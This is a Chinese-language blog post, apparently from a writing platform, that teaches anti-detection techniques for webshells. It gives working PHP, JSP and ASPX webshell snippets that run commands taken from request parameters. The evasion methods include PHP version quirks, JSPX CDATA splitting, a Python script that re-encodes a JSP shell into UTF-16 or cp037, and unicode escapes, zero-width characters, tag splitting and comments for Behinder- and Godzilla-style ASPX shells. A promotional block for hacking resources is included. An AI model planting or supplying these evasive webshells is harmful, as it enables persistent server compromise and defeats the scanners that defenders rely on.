写点什么

安全实战:webshell 的几种免杀方式

  • 2022 年 3 月 08 日
  • 本文字数:2067 字

    阅读完需:约 7 分钟

php 的免杀

传统的 php 免杀不用多说了 无非就是各种变形和外部参数获取,对于一些先进的 waf 和防火墙来说,不论如何解析最终都会到达命令执行的地方,但是如果语法报错的话,就可能导致解析失败了,这里简单说几个利用 php 版本来进行语义出错的 php 命令执行方式。

1、利用在高版本 php 语法不换行来执行命令

<?=$a=<<< aaassasssasssasssasssasssasssasssasssasssasssassssaa;echo `whoami`?>
复制代码

5.2 版本报错,


【一>所有资源获取<一】1、网络安全学习路线 2、电子书籍(白帽子)3、安全大厂内部视频 4、100 份 src 文档 5、常见安全面试题 6、ctf 大赛经典题目解析 7、全套工具包 8、应急响应笔记

5.3 报错

5.4 版本报错

7.3.4 成功执行命令

2、利用\特殊符号来引起报错

<?php\echo `whoami`;?>
复制代码

5.3 执行命令失败

7.3 执行命令失败

5.2 成功执行

3、十六进制字符串

在 php7 中不认为是数字,php5 则依旧为数字经过测试 5.3 和 5.5 可以成功执行命令,5.2 和 php7 无法执行


<?php$s=substr("aabbccsystem","0x6");$s(whoami)?>
复制代码

7.3 命令执行失败

5.2 命令执行失败

5.3 命令执行成功


除此之外,还有很多种利用版本差异性来 bypass 一些没有对所有版本进行检测更新的所谓的"先进 waf"。当然,对于我们可以结合垃圾数据,变形混淆,以及大量特殊字符和注释的方式来构造更多的 payload,毕竟每家的 waf 规则不同,配置也不同,与一些传输层面的 bypass 进行结合产生的可能性就会非常多样。


例如:7.0 版本的??特性,如果版本为 5.x 的话就会报错,可以结合一些其他的方式吧


<?php$a = $_GET['function'] ?? 'whoami';$b = $_GET['cmd'] ?? 'whoami';$a(null.(null.$b));
复制代码

jsp 免杀

本人对 java 研究的不是非常深入,因此主要分享的还是平时收集的几个小 tips,如果有没看过的师傅现在看到了也是极好的,java unicode 绕过就不再多言。

0、小小 Tips

jsp 的后缀可以兼容为 jspx 的代码,也兼容 jspx 的所有特性,如 CDATA 特性。jspx 的后缀不兼容为 jsp 的代码,jspx 只能用 jspx 的格式

1、jspx CDATA 特性

在 XML 元素里,<和 &是非法的,遇到<解析器会把该字符解释为新元素的开始,遇到 &解析器会把该字符解释为字符实体化编码的开始。但是我们有时候有需要在 jspx 里添加 js 代码用到大量的<和 &字符,因此可以将脚本代码定义为 CDATA。CDATA 部分内容会被解析器忽略。格式:<![CDATA[xxxxxxxxxxxxxxxxxxx]]>例如 String cmd = request.getPar<![CDATA[ameter]]>("shell");此时 ameter 依旧会与 getPar 拼接成为 getParameter

2、实体化编码

if (cmd !=null){        Process child = Runtime.getRuntime().exec(cmd);        InputStream in = child.getInputStream();
复制代码


这里实体化编码先知渲染体现不出来


3、利用 java 支持其他编码格式来进行绕过

#python2charset = "utf-8"data = '''<%Runtime.getRuntime().exec(request.getParameter("i"));%>'''.format(charset=charset)
f16be = open('utf-16be.jsp','wb')f16be.write('<%@ page contentType="charset=utf-16be" %>')f16be.write(data.encode('utf-16be'))
f16le = open('utf-16le.jsp','wb')f16le.write('<jsp:directive.page contentType="charset=utf-16le"/>')f16le.write(data.encode('utf-16le'))
fcp037 = open('cp037.jsp','wb')fcp037.write(data.encode('cp037'))fcp037.write('<%@ page contentType="charset=cp037"/>')
复制代码



可以看到对于 D 盾的免杀效果还是非常好的。


aspx 的免杀

aspx 免杀的方式相对于 PHP 和 java 的较少,这里列出 5 种方式来 bypass 进行免杀


1、unicode 编码 2、空字符串连接 3、<%%>截断 3、头部替换 5、特殊符号 @6、注释


我们以一个普通的冰蝎马作为示例


<%@ Page Language="Jscript"%>[eval(@Request.Item["pass"],"unsafe");%](mailto:eval(@Request.Item[)
复制代码


这一步无需多言,一定是会被 D 盾所查杀的


1、unicode 编码

例如 eval 他可以变为\u0065\u0076\u0061\u006c


<%@ Page Language="Jscript"%><%\u0065\u0076\u0061\u006c(@Request.Item["pass"],"unsafe");%>
复制代码


经过我本地的测试,在 JScript 的情况下它不支持大 U 和多个 0 的增加而在 c#的情况下,是可以支持的


2、空字符串连接

在函数字符串中插入这些字符都不会影响脚本的正常运行,在测试前需要注意该类字符插入的位置,否则插入错误的地方会产生报错\u200c\u200d\u200e\u200f

3、使用<%%>语法

将整个字符串与函数利用<%%>进行分割


<%@Page Language=JS%><%eval%><%(Request.%><%Item["pass"],"unsafe");%>
复制代码

4、头部免杀

之前有遇到过检测该字段的<%@ Page Language="C#" %>,这个是标识 ASPX 的一个字段,针对该字段进行免杀[%@Language=CSHARP%](mailto:%@Language=CSHARP%) 很久之前修改为这样就过了


同样的,可以修改为<%@ Page Language="Jscript"%>------》<%@Page Language=JS%>也可以将该字段放在后面,不一定要放前面等

5、使用符号

如哥斯拉 webshell 存在特征代码,可以添加 @符号但是不会影响其解析。


(Context.Session["payload"] == null)(@Context.@Session["payload"] == null)
复制代码



6、注释可以随意插入

如下所示为冰蝎部分代码


<%/*qi*/Session./*qi*/Add(@"k"/*qi*/,/*qi*/"e45e329feb5d925b"/*qi*/)
复制代码


可以与<%%>结合使用效果会更好

用户头像

我是一名网络安全渗透师 2021.06.18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
安全实战:webshell的几种免杀方式_黑客_网络安全学海_InfoQ写作平台